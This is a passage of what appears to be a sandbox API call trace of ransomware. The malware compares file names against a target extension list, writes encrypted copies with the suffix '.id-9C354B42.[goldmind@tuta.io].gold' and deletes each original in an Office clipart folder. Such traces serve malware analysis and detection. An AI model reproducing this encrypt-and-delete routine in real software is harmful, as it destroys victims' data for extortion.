lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xb760, lpOverlapped=0x0) returned 1 [0101.094] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.095] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.095] SetEndOfFile (hFile=0x364) returned 1 [0101.095] CloseHandle (hObject=0x364) returned 1 [0101.095] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.095] SetEndOfFile (hFile=0x3a8) returned 1 [0101.098] CloseHandle (hObject=0x3a8) returned 1 [0101.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0101.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.119] lstrlenW (lpString=".doc") returned 4 [0101.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString=".docx") returned 5 [0101.119] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.119] lstrlenW (lpString=".pdf") returned 4 [0101.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString=".xls") returned 4 [0101.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.119] lstrlenW (lpString=".xlsx") returned 5 [0101.119] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.119] lstrlenW (lpString=".ppt") returned 4 [0101.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.119] lstrlenW (lpString=".zip") returned 4 [0101.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.119] lstrlenW (lpString=".rar") returned 4 [0101.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString=".bz2") returned 4 [0101.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString=".7z") returned 3 [0101.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.119] lstrlenW (lpString=".dbf") returned 4 [0101.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.119] lstrlenW (lpString=".1cd") returned 4 [0101.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".jpg") returned 4 [0101.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".doc") returned 4 [0101.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString=".docx") returned 5 [0101.120] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.120] lstrlenW (lpString=".pdf") returned 4 [0101.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString=".xls") returned 4 [0101.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.120] lstrlenW (lpString=".xlsx") returned 5 [0101.120] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.120] lstrlenW (lpString=".ppt") returned 4 [0101.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".zip") returned 4 [0101.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.120] lstrlenW (lpString=".rar") returned 4 [0101.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString=".bz2") returned 4 [0101.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString=".7z") returned 3 [0101.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".dbf") returned 4 [0101.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".1cd") returned 4 [0101.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0101.120] lstrlenW (lpString=".jpg") returned 4 [0101.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.120] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.120] lstrlenW (lpString="J0090777.WMF") returned 12 [0101.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.212] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3332) returned 1 [0101.213] CloseHandle (hObject=0x398) returned 1 [0101.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0101.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.241] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.241] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.242] GetLastError () returned 0x0 [0101.242] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xd04, lpOverlapped=0x0) returned 1 [0101.252] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0101.253] ReadFile (in: hFile=0x3bc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.253] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.253] SetEndOfFile (hFile=0x3b8) returned 1 [0101.254] CloseHandle (hObject=0x3b8) returned 1 [0101.254] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.254] SetEndOfFile (hFile=0x3bc) returned 1 [0101.255] CloseHandle (hObject=0x3bc) returned 1 [0101.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".doc") returned 4 [0101.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".docx") returned 5 [0101.298] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.298] lstrlenW (lpString=".pdf") returned 4 [0101.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".xls") returned 4 [0101.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.298] lstrlenW (lpString=".xlsx") returned 5 [0101.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.298] lstrlenW (lpString=".ppt") returned 4 [0101.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".zip") returned 4 [0101.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.298] lstrlenW (lpString=".rar") returned 4 [0101.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".bz2") returned 4 [0101.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".7z") returned 3 [0101.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".dbf") returned 4 [0101.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".1cd") returned 4 [0101.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".jpg") returned 4 [0101.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.298] lstrlenW (lpString=".doc") returned 4 [0101.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".docx") returned 5 [0101.298] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.298] lstrlenW (lpString=".pdf") returned 4 [0101.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.298] lstrlenW (lpString=".xls") returned 4 [0101.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.298] lstrlenW (lpString=".xlsx") returned 5 [0101.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.299] lstrlenW (lpString=".ppt") returned 4 [0101.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.299] lstrlenW (lpString=".zip") returned 4 [0101.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.299] lstrlenW (lpString=".rar") returned 4 [0101.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.299] lstrlenW (lpString=".bz2") returned 4 [0101.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.299] lstrlenW (lpString=".7z") returned 3 [0101.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.299] lstrlenW (lpString=".dbf") returned 4 [0101.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.299] lstrlenW (lpString=".1cd") returned 4 [0101.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0101.299] lstrlenW (lpString=".jpg") returned 4 [0101.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.299] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.299] lstrlenW (lpString="J0098497.WMF") returned 12 [0101.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.305] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4970) returned 1 [0101.305] CloseHandle (hObject=0x38c) returned 1 [0101.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0101.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.307] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.307] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.308] GetLastError () returned 0x0 [0101.308] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x136a, lpOverlapped=0x0) returned 1 [0101.309] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0101.310] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.310] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.310] SetEndOfFile (hFile=0x38c) returned 1 [0101.310] CloseHandle (hObject=0x38c) returned 1 [0101.311] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.311] SetEndOfFile (hFile=0x3c0) returned 1 [0101.312] CloseHandle (hObject=0x3c0) returned 1 [0101.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString=".doc") returned 4 [0101.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString=".docx") returned 5 [0101.313] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.313] lstrlenW (lpString=".pdf") returned 4 [0101.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString=".xls") returned 4 [0101.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.313] lstrlenW (lpString=".xlsx") returned 5 [0101.313] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.313] lstrlenW (lpString=".ppt") returned 4 [0101.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString=".zip") returned 4 [0101.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.313] lstrlenW (lpString=".rar") returned 4 [0101.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString=".bz2") returned 4 [0101.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString=".7z") returned 3 [0101.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString=".dbf") returned 4 [0101.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString=".1cd") returned 4 [0101.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.313] lstrlenW (lpString=".jpg") returned 4 [0101.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString=".doc") returned 4 [0101.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString=".docx") returned 5 [0101.314] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.314] lstrlenW (lpString=".pdf") returned 4 [0101.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString=".xls") returned 4 [0101.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.314] lstrlenW (lpString=".xlsx") returned 5 [0101.314] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.314] lstrlenW (lpString=".ppt") returned 4 [0101.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString=".zip") returned 4 [0101.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.314] lstrlenW (lpString=".rar") returned 4 [0101.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString=".bz2") returned 4 [0101.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString=".7z") returned 3 [0101.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString=".dbf") returned 4 [0101.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString=".1cd") returned 4 [0101.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63 [0101.314] lstrlenW (lpString=".jpg") returned 4 [0101.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.314] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.314] lstrlenW (lpString="J0099145.JPG") returned 12 [0101.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.315] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24759) returned 1 [0101.315] CloseHandle (hObject=0x3c0) returned 1 [0101.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg")) returned 0x20 [0101.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0101.315] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.315] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.316] GetLastError () returned 0x0 [0101.316] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x60b7, lpOverlapped=0x0) returned 1 [0101.318] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x60c0, lpOverlapped=0x0) returned 1 [0101.318] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.318] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.319] SetEndOfFile (hFile=0x38c) returned 1 [0101.319] CloseHandle 